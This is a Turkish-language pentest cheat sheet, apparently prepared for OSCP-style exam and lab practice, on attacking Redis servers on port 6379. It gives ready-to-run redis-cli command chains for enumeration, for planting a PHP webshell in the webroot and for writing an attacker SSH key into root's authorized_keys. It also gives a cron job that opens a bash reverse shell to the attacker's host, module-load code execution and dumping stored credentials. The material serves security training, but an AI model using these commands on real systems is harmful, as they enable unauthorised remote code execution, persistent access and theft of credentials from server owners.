FOOTHOLD Metodoloji Cheat-sheet
6379

Redis

linux

Redis (cogunlukla kimlik dogrulamasiz): webshell yazma, SSH authorized_keys yazma, RDB/cron abuse ve module load ile RCE.

┌──

Komutlar

nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=redis-info {{RHOST}}
Redis surum tespiti ve info enumeration. HackTricks — 6379 Pentesting Redis
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} INFO
Kimlik dogrulamasiz INFO ile surum, OS, config bilgisi. HackTricks — 6379 Pentesting Redis
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} -a '{{PASS}}' INFO
AUTH gerektiren Redis'e parola ile baglanti. HackTricks — 6379 Pentesting Redis
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG GET dir
RDB yazma dizinini ogren (webshell/SSH key yolu icin gerekli). HackTricks — Redis RCE
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dir /var/www/html && redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dbfilename shell.php && redis-cli -h {{RHOST}} -p {{RPORT}} SET x '<?php system($_GET["c"]); ?>' && redis-cli -h {{RHOST}} -p {{RPORT}} SAVE
Webroot'a PHP webshell yazma (writable webroot gerekli). HackTricks — Redis RCE (webshell)
redis-cli ✓ EXAM-SAFE
(echo -e '\n\n'; cat {{LHOST}}_key.pub; echo -e '\n\n') > sshkey.txt && redis-cli -h {{RHOST}} -p {{RPORT}} flushall && cat sshkey.txt | redis-cli -h {{RHOST}} -p {{RPORT}} -x set sshkey && redis-cli -h {{RHOST}} -p {{RPORT}} config set dir /root/.ssh && redis-cli -h {{RHOST}} -p {{RPORT}} config set dbfilename authorized_keys && redis-cli -h {{RHOST}} -p {{RPORT}} save
/root/.ssh/authorized_keys'e public key yazip SSH erisimi alma. HackTricks — Redis RCE (SSH key)
redis-cli ⚠ RESTRICTED
redis-cli -h {{RHOST}} -p {{RPORT}} MODULE LOAD /path/to/exp.so && redis-cli -h {{RHOST}} -p {{RPORT}} system.exec 'id'
RedisModules-ExecuteCommand .so modulu yukleyip komut calistirma (RCE). HackTricks — Redis RCE (module)
redis-cli ✓ EXAM-SAFE
redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dir /var/spool/cron && redis-cli -h {{RHOST}} -p {{RPORT}} CONFIG SET dbfilename root && redis-cli -h {{RHOST}} -p {{RPORT}} SET x '\n* * * * * bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1\n' && redis-cli -h {{RHOST}} -p {{RPORT}} SAVE
Cron dizinine reverse shell job yazma (Redis root calisiyorsa). HackTricks — Redis RCE (cron)

Genel Bakis

Redis OSCP’de en cok RCE veren servislerden biridir cunku cogu lab kurulumu kimlik dogrulamasiz ve genellikle yuksek yetkiyle calisir. Ana saldiri vektorleri: webshell yazma, SSH key yazma, cron job yazma ve module load ile dogrudan RCE.

Enumeration

  • redis-cli INFO ile surum, isletim sistemi, calistigi kullanici (os, redis_version), ve config_file bilgisini al.
  • CONFIG GET dir ve CONFIG GET dbfilename ile RDB dosyasinin nereye yazilacagini belirle; tum dosya-yazma teknikleri buna dayanir.
  • AUTH gerekiyorsa (NOAUTH hatasi) bilinen/varsayilan parolalari (requirepass cogu zaman bos) veya config’den sizan parolayi dene.

Dosya Yazma ile RCE Teknikleri

  • Webshell: CONFIG SET dir <webroot> + dbfilename shell.php + bir key’e PHP payload + SAVE. Webroot’un yazilabilir ve PHP calistirir olmasi gerekir; RDB cikti basinda binary metadata olur ama PHP yine parse eder.
  • SSH key: payload’i bos satirlarla sarmalayip /root/.ssh/authorized_keys veya kullanici .ssh dizinine yaz; Redis o kullanici yetkisinde calisiyorsa SSH ile gir.
  • Cron: /var/spool/cron veya /etc/cron.d altina reverse shell job yaz; sadece Redis root ise ve cron formatini tolere ediyorsa calisir (RDB metadata yuzunden bazen syntax hatasi olur, comment satirlari ile sarmala).

Module Load ile RCE

  • Redis 4.0+ MODULE LOAD destekler. RedisModules-ExecuteCommand .so’sunu derleyip once hedefe yaz (CONFIG SET dir ile), sonra MODULE LOAD edip system.exec/system.rev ile komut/reverse shell al. Otomatik exploit modullerine yakin oldugu icin examSafety restricted.

Loot / Pivot Notlari

  • KEYS * ile tum anahtarlari, GET <key> ile degerleri dump et; oturum token’lari ve uygulama kredleri burada olabilir.
  • RCE/SSH aldiktan sonra cogu zaman redis veya root kullanicisi olursun; redis ise standart Linux privesc enumeration’a gec.
┌──

İlgili teknikler

┌──

Kaynaklar

0/15 set